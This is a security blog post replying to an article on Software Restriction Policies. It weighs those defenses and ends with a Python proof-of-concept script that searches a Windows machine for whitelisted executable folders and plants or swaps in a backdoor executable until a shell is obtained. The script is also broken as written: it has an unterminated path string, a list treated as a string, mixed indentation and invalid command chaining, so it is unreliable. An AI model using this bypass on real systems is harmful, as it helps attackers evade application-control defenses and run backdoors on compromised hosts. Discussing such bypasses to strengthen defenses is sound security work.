Most recently, Greg Hetrick over at PaulDotCom released an article entailing how to thwart Client Side attacks with Software Restriction Policy. First of all, great post and analysis on stopping common attack vectors through client side exploitation. We love the folks over at PaulDotCom and their experience and openness to share with the community. Greg picked on SET so we had to write something back in response and all in best intentions, hugs, and good fun with hacking defensive capabilities. Link to the article here: http://pauldotcom.com/2013/05/thwarting-client-side-attacks.html I would highly recommend taking a read on this and implementing the recommendations if you can scale it to your organization. Makes it significantly harder to compromise a system. Now on that, lets get down the meat of the blog. Greg's premise and tutorial explains how to use Software Restriction Policies within Active Directory to restrict the ability to execute certain types of software or files unless otherwise inherently specified. This is a great method for disallowing specific file types from being allowed to execute (such as malicious software). He uses a few different examples of SET and how to prevent the toolkit from being able to be successful from attacks. The first method and second method are preventing malicious executables and PDF's from being executed on the system. Couple of items on the first two attack methods: 1. The PE dropping attack prevention on the software restriction policy is great. Same concept of whitelisting/blacklisting in a sense (and expanded on with applocker) and one that is used as a last resort in SET. I view PE blocking as a bit of the easy going for systems that don't have any type of executable prevention. Bypass method for this would be to place it in a directory that is allowed, by default SET places any type of binary dropped in %TEMP% of the victim. 2. PDF attacks should only be used as a last resort on a machine. Most AV companies pick these up unless you heavily obfuscate (about the only good use still left for traditional anti-virus). The PDF attack mentioned is a backdoored PDF attack that drops an executable. The mentioned software restriction policy would definitely stop the attack. Bypass method for this would be to place it in a directory that is allowed. Now applicability on a corporate environment - essentially the aforementioned policies would completely disallow normal users from the ability to execute almost anything (which is a good thing). This would be extremely difficult to manage however possible. To Greg's point, if you place it to monitor what executables are being used, you may be able to scale it in a smaller sized company. Lastly - the PowerShell method that was used to disallow the PowerShell attack vector from using actually stops the execution of PowerShell completely or the ability to call it as a user. This may work in some, but not all environments. Any core critical components that are embedded into PowerShell such as help files and general use for the operating system would not work properly. Since PowerShell is a core critical strategy and heavily embedded into the operating system now, additional functionality may be impaired. Now let's completely bypass software restriction policies all together. Since the technique shown from Greg is specifically path specific, we shouldn't have a major problem with this. You would have to assume that in order to execute some files, you would need to have an exception in place for certain folders or files. Just a caveat, this is a total hack job =) Let's assume this scenario: 1. We've compromised the victims machine with software restriction policies on it. 2. We have access to the system in some fashion albeit a limited user account. 3. Our executable/PE file resides in %TEMP% however cannot execute.

#
# Quick bypass script for software restriction policies
# 
# For powershell bypass, just copy powershell.exe and the retrospective command
# to the same directory as the backdoor and modify the script.
#
# Also, if you want to get crazy with it, you could also kill the process that
# may have an associated executable attached to it to remove access is denied
# issues.
#
# Note that this is a Python script - this could be easily ported to Java or 
# wscript, or anything else that we have as a deployment method. This is just
# a PoC.
#
# Written by: TrustedSec (https://www.trustedsec.com)
#
import os
import subprocess

files = []
for dirpath, dirnames, filenames in os.walk('C:\'):
    for fname in filenames:
        if fname.endswith(".exe"): # search for any directory with an exe - will probably be whitelisted already
            path = os.path.join(dirpath,fname)
            files.append({'path':path,'directory': dirpath})
			dirname = dirpath.split(os.path.sep)[-1]
			exepath = files.split(os.path.sep)[-1]
			# we have two options here, either copy the file and attempt to execute, or rename the executable name and copy ours over
			#
			# lets do the first one - copy the executable to the exe directory and run it
			subprocess.Popen("copy %TEMP%\backdoor.exe %s;cd %s;backdoor.exe" % (dirname,dirname), shell=True).wait()
			# lets do the second one and rename the executable, run then move it back
			subprocess.Popen("cd %s;rename %s testing_restrictions.exe;copy %TEMP%\backdoor.exe %s;%s;del backdoor.exe;rename testing_restrictions.exe %s" % (dirname,exepath,dirname,exepath,exepath), shell=True).wait()
			# we wouldn't want to do this for every file, probably be noticed, so lets put a pause until we get a success
			print "Selecting no will continue to process to the next executable path until we get our backdoor to work properly"
			choice = raw_input("Do we have shells yet? [y/n]:")
			# break out of the loop else just keep going
			if choice == "y": break

This small script will enumerate each directory on the C: website and iterate through each executable. It'll first attempt to execute your backdoor exe in the directory, if that doesn't work, then rename the exe thats already allowed and attempt to run the backdoor. Crude way of doing it and probably a million other ways to do it, just a fun one that we thought up when we saw the post. Great article, and a good example of thinking outside of the box to stop specific and common targeted attacks. Awesome work Greg, and thanks for using SET in the demonstrations =)